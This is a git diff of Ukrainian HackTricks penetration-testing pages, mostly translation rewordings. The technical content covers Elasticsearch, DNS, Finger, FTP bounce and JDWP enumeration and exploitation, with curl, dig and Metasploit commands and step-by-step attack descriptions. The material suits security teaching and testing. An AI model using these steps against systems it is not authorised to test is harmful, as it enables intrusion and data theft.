**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -68,7 +68,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -36,23 +36,23 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -25,13 +25,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Основна інформація
|
||||
|
||||
Elasticsearch є **розподіленим**, **відкритим** пошуковим та аналітичним двигуном для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відома як Elastic). Elasticsearch є основним компонентом Elastic Stack, колекції відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, зазвичай називається ELK Stack, також включає Logstash і Kibana, а тепер має легкі агенти для доставки даних, які називаються Beats.
|
||||
Elasticsearch є **розподіленим**, **відкритим** пошуковим та аналітичним двигуном для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, він вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відома як Elastic). Elasticsearch є основним компонентом Elastic Stack, колекції відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, який зазвичай називають ELK Stack, також включає Logstash і Kibana, а тепер має легкі агенти для доставки даних, звані Beats.
|
||||
|
||||
### Що таке індекс Elasticsearch?
|
||||
|
||||
Індекс Elasticsearch є **колекцією** **пов'язаних документів**, збережених у форматі **JSON**. Кожен документ складається з **ключів** та їх відповідних **значень** (рядки, числа, булеві значення, дати, масиви, геолокації тощо).
|
||||
|
||||
Elasticsearch використовує ефективну структуру даних, звану **інвертованим індексом**, для швидкого повнотекстового пошуку. Цей індекс перераховує кожне унікальне слово в документах і ідентифікує документи, в яких з'являється кожне слово.
|
||||
Elasticsearch використовує ефективну структуру даних, звану **інвертованим індексом**, для забезпечення швидкого повнотекстового пошуку. Цей індекс перераховує кожне унікальне слово в документах і ідентифікує документи, в яких з'являється кожне слово.
|
||||
|
||||
Під час процесу індексації Elasticsearch зберігає документи та створює інвертований індекс, що дозволяє здійснювати пошук майже в реальному часі. **API індексу** використовується для додавання або оновлення JSON-документів у конкретному індексі.
|
||||
|
||||
|
@ -45,11 +45,11 @@ Elasticsearch використовує ефективну структуру д
|
|||
|
||||
![](<../.gitbook/assets/image (294).png>)
|
||||
|
||||
Якщо ви не бачите цього відповіді, зверніться до наступного розділу.
|
||||
Якщо ви не бачите цього відповіді, звертаючись до `/`, перегляньте наступний розділ.
|
||||
|
||||
### Аутентифікація
|
||||
|
||||
**За замовчуванням у Elasticsearch не ввімкнена аутентифікація**, тому за замовчуванням ви можете отримати доступ до всього всередині бази даних без використання будь-яких облікових даних.
|
||||
**За замовчуванням аутентифікація в Elasticsearch не ввімкнена**, тому за замовчуванням ви можете отримати доступ до всього всередині бази даних без використання будь-яких облікових даних.
|
||||
|
||||
Ви можете перевірити, що аутентифікація вимкнена, надіславши запит до:
|
||||
```bash
|
||||
|
@ -156,7 +156,7 @@ _Зверніть увагу, що параметр q, який використ
|
|||
|
||||
### Права на запис
|
||||
|
||||
Ви можете перевірити свої права на запис, спробувавши створити новий документ у новому індексі, запустивши щось на зразок наступного:
|
||||
Ви можете перевірити свої права на запис, спробувавши створити новий документ в новому індексі, запустивши щось на зразок наступного:
|
||||
```bash
|
||||
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
|
||||
{
|
||||
|
@ -176,7 +176,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
|
|||
|
||||
![](<../.gitbook/assets/image (434).png>)
|
||||
|
||||
## Автоматична енумерація
|
||||
## Автоматичне перерахування
|
||||
|
||||
Деякі інструменти отримають частину даних, представлених раніше:
|
||||
```bash
|
||||
|
@ -190,7 +190,7 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте погляд хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -205,8 +205,8 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -151,13 +151,13 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
Брутфорс зворотного DNS, використовуючи IPv6 адреси
|
||||
Брутфорс зворотного DNS з використанням IPv6 адрес
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### DNS Recursion DDoS
|
||||
|
||||
Якщо **включена рекурсія DNS**, зловмисник може **підробити** **походження** в UDP-пакеті, щоб змусити **DNS надіслати відповідь на сервер жертви**. Зловмисник може зловживати типами записів **ANY** або **DNSSEC**, оскільки вони зазвичай мають більші відповіді.\
|
||||
Якщо **включена рекурсія DNS**, зловмисник може **підробити** **джерело** в UDP-пакеті, щоб змусити **DNS надіслати відповідь на сервер жертви**. Зловмисник може зловживати типами записів **ANY** або **DNSSEC**, оскільки вони зазвичай мають більші відповіді.\
|
||||
Спосіб **перевірити**, чи підтримує DNS **рекурсію**, - це запитати доменне ім'я та **перевірити**, чи є **прапор "ra"** (_рекурсія доступна_) у відповіді:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
|
@ -172,7 +172,7 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -180,7 +180,7 @@ dig google.com A @<IP>
|
|||
|
||||
### Лист на неіснуючий акаунт
|
||||
|
||||
Через вивчення повідомлення про ненадання (NDN), викликаного електронним листом, надісланим на недійсну адресу в межах цільового домену, часто розкриваються цінні деталі внутрішньої мережі.
|
||||
Через аналіз повідомлення про ненадання (NDN), викликаного електронним листом, надісланим на недійсну адресу в межах цільового домену, часто розкриваються цінні деталі внутрішньої мережі.
|
||||
|
||||
Надане повідомлення про ненадання містить інформацію, таку як:
|
||||
|
||||
|
@ -232,7 +232,7 @@ host.conf
|
|||
## Посилання
|
||||
|
||||
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
|
||||
* Книга: **Оцінка безпеки мережі 3-тє видання**
|
||||
* Книга: **Оцінка безпеки мережі 3-е видання**
|
||||
|
||||
## HackTricks Автоматичні команди
|
||||
```
|
||||
|
@ -289,9 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, виявлення проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## **Основна інформація**
|
||||
|
||||
Програма/сервіс **Finger** використовується для отримання деталей про комп'ютерних користувачів. Зазвичай надається інформація, яка включає **ім'я користувача, повне ім'я**, а в деяких випадках, додаткові деталі. Ці додаткові деталі можуть включати місцезнаходження офісу та номер телефону (якщо доступно), час, коли користувач увійшов, період бездіяльності (idle time), останній раз, коли користувач читав електронну пошту, та вміст планів і проектних файлів користувача.
|
||||
Програма/сервіс **Finger** використовується для отримання деталей про комп'ютерних користувачів. Зазвичай надається інформація, яка включає **ім'я користувача, повне ім'я**, а в деяких випадках - додаткові деталі. Ці додаткові деталі можуть включати місцезнаходження офісу та номер телефону (якщо доступно), час, коли користувач увійшов, період бездіяльності (idle time), останній раз, коли користувач читав електронну пошту, та вміст планів і проектних файлів користувача.
|
||||
|
||||
**Порт за замовчуванням:** 79
|
||||
```
|
||||
|
@ -75,15 +75,15 @@ finger @internal@external
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, виявлення проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -91,7 +91,7 @@ finger @internal@external
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на свої веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -24,31 +24,31 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
# Резюме
|
||||
|
||||
Якщо у вас є доступ до bounce FTP сервера, ви можете змусити його запитувати файли з іншого FTP сервера \(де ви знаєте деякі облікові дані\) і завантажити цей файл на свій сервер.
|
||||
Якщо у вас є доступ до сервера FTP з переадресацією, ви можете змусити його запитувати файли з іншого FTP сервера \(де ви знаєте деякі облікові дані\) і завантажити цей файл на свій сервер.
|
||||
|
||||
## Вимоги
|
||||
|
||||
- Дійсні облікові дані FTP на FTP Middle сервері
|
||||
- Дійсні облікові дані FTP на жертві FTP сервері
|
||||
- Обидва сервери приймають команду PORT \(атака bounce FTP\)
|
||||
- Ви можете записувати в деяку директорію на FRP Middle сервері
|
||||
- Middle сервер матиме більше доступу до жертви FTP сервера, ніж ви з якоїсь причини \(це те, що ви будете експлуатувати\)
|
||||
- Дійсні облікові дані FTP на середньому сервері FTP
|
||||
- Дійсні облікові дані FTP на сервері жертви
|
||||
- Обидва сервери приймають команду PORT \(атака з переадресацією FTP\)
|
||||
- Ви можете записувати в деяку директорію середнього сервера FRP
|
||||
- Середній сервер матиме більше доступу до сервера жертви з якоїсь причини \(це те, що ви будете експлуатувати\)
|
||||
|
||||
## Кроки
|
||||
|
||||
1. Підключіться до свого FTP сервера і зробіть з'єднання пасивним \(команда pasv\), щоб він слухав у директорії, куди жертва сервісу надішле файл
|
||||
2. Створіть файл, який буде надіслано FTP Middle сервером на жертву сервер \(експлойт\). Цей файл буде простим текстом з необхідними командами для аутентифікації на жертві сервері, зміни директорії та завантаження файлу на ваш сервер.
|
||||
3. Підключіться до FTP Middle сервера і завантажте попередній файл
|
||||
4. Змусьте FTP Middle сервер встановити з'єднання з жертвою сервером і надіслати файл експлойту
|
||||
5. Захопіть файл на своєму FTP сервері
|
||||
6. Видаліть файл експлойту з FTP Middle сервера
|
||||
1. Підключіться до свого сервера FTP і зробіть з'єднання пасивним \(команда pasv\), щоб він слухав у директорії, куди сервіс жертви надішле файл
|
||||
2. Створіть файл, який буде надіслано середнім сервером FTP на сервер жертви \(експлойт\). Цей файл буде простим текстом з необхідними командами для аутентифікації на сервері жертви, зміни директорії та завантаження файлу на свій сервер.
|
||||
3. Підключіться до середнього сервера FTP і завантажте попередній файл
|
||||
4. Змусьте середній сервер FTP встановити з'єднання з сервером жертви та надіслати файл експлойту
|
||||
5. Захопіть файл на своєму сервері FTP
|
||||
6. Видаліть файл експлойту з середнього сервера FTP
|
||||
|
||||
Для більш детальної інформації перегляньте пост: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на свої веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -46,22 +46,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
- Не має аутентифікації та шифрування, що робить його вразливим при відкритті до ворожих мереж.
|
||||
|
||||
2. **Рукостискання JDWP**:
|
||||
- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьним ASCII рядком “JDWP-Handshake” між Дебагером (клієнтом) і Дебагованим (сервером).
|
||||
- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьний ASCII рядок “JDWP-Handshake” між Дебагером (клієнтом) та Дебагованим (сервером).
|
||||
|
||||
3. **Комунікація JDWP**:
|
||||
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор і Набір команд.
|
||||
- Значення Набору команд варіюються від 0x40 до 0x80, представляючи різні дії та події.
|
||||
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та CommandSet.
|
||||
- Значення CommandSet варіюються від 0x40 до 0x80, представляючи різні дії та події.
|
||||
|
||||
4. **Експлуатація**:
|
||||
- JDWP дозволяє завантажувати та викликати довільні класи та байт-код, що створює ризики безпеки.
|
||||
- Стаття детально описує процес експлуатації в п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
|
||||
|
||||
5. **Експлуатація в реальному житті**:
|
||||
- Незважаючи на потенційні захисти брандмауера, сервіси JDWP є виявленими та експлуатованими в реальних сценаріях, як показано пошуками на платформах, таких як ShodanHQ та GitHub.
|
||||
- Скрипт експлойту був протестований проти різних версій JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE).
|
||||
- Незважаючи на потенційні захисти брандмауера, сервіси JDWP можна виявити та експлуатувати в реальних сценаріях, як показано в пошуках на платформах, таких як ShodanHQ та GitHub.
|
||||
- Скрипт експлойту був протестований на різних версіях JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE).
|
||||
|
||||
6. **Безпекові наслідки**:
|
||||
- Наявність відкритих сервісів JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, відключення функцій налагодження в продуктивному середовищі та належних конфігурацій брандмауера.
|
||||
- Наявність відкритих сервісів JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, відключення функцій налагодження в продуктивному середовищі та належної конфігурації брандмауера.
|
||||
|
||||
### **Посилання:**
|
||||
|
||||
|
@ -80,23 +80,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
